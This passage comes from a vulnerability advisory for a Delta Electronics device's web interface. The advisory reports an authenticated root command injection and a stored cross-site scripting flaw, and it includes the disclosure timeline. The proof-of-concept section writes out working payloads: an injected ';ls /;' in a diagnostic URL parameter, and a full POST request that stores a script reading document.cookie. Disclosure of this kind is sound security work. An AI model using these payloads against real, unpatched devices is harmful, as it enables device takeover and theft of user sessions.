It can be used to execute system commands on the OS fromthe device in the context of the user "root". Therefore, a full compromizationof the device is possible by having credentials for the web service only.2) Stored Cross-Site ScriptingA stored cross-site scripting vulnerability has been identified in the function"net diagnosis" on the device's web configuration service. This can beexploited in the context of a victim's session.Proof of Concept-------------------------------------------------------------------------------1) Authenticated Command InjectionThe parameter "diagnose_address" contains the payload ";ls /;", which basicallyprints the content of the root directory to the serial terminal of the device.http://192.168.3.150/lform/net_diagnose?action=diagnose&diagnose_type=0&diagnose_address=;ls%20/;The output can be seen in the context of a virtualized firmware clone, as usedto find this vulnerability, but is usually invisible to a customer. Therefore,a more visible payload may be commands that interact via the network, like";ping 192.168.0.10;". This command will ping a device on the corresponding IPaddress within the local network.2) Stored Cross-Site ScriptingThe following code prints the current cached cookies of a user's session to thescreen. The JavaScript code will be stored on the device permanently.===============================================================================POST /lform/urlfilter?action=save HTTP/1.1Host: 192.168.3.150Accept: */*Accept-Language: de,en-US;q=0.7,en;q=0.3Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 190Connection: keep-aliveCookie: language=en_US; userindex=1; loginexpire=1648630746607; session=30lan_ipaddr=192.168.5.5&lan_netmask=255.255.255.0&src_addr_start=&src_addr_end=&editnum=0&bfilter_urllist=0&url_addr=<script>alert(document.cookie)</script>&src_addr_type=0&filter_state=1===============================================================================The vulnerabilities were manually verified on an emulated device by using theMEDUSA scalable firmware runtime (https://medusa.cyberdanube.com).Solution-------------------------------------------------------------------------------Update to firmware version V1.5.0.12.Workaround-------------------------------------------------------------------------------NoneRecommendation-------------------------------------------------------------------------------CyberDanube recommends Delta Electronics customers to upgrade the firmware tothe latest version available.Contact Timeline-------------------------------------------------------------------------------2022-08-02: Contacting Delta Electronics.2022-08-10: Vendor requested the advisory without encryption; Sent advisory to Delta Electronics.2022-08-16: Security contact asked few questions regarding responsible disclosure; Sent answers.2022-08-30: Asked for an update.2022-09-01: Vendor responded, that they will need more time to resolve the issues; Provided additional 30 days (until 2022-11-02) for patching.2022-10-11: Asked for an update.2022-10-12: Vendor responded, that fixing will be done 2022-11-15; Shifted release date to this date.2022-10-16: Vendor shifted release date again to 2022-11-18.
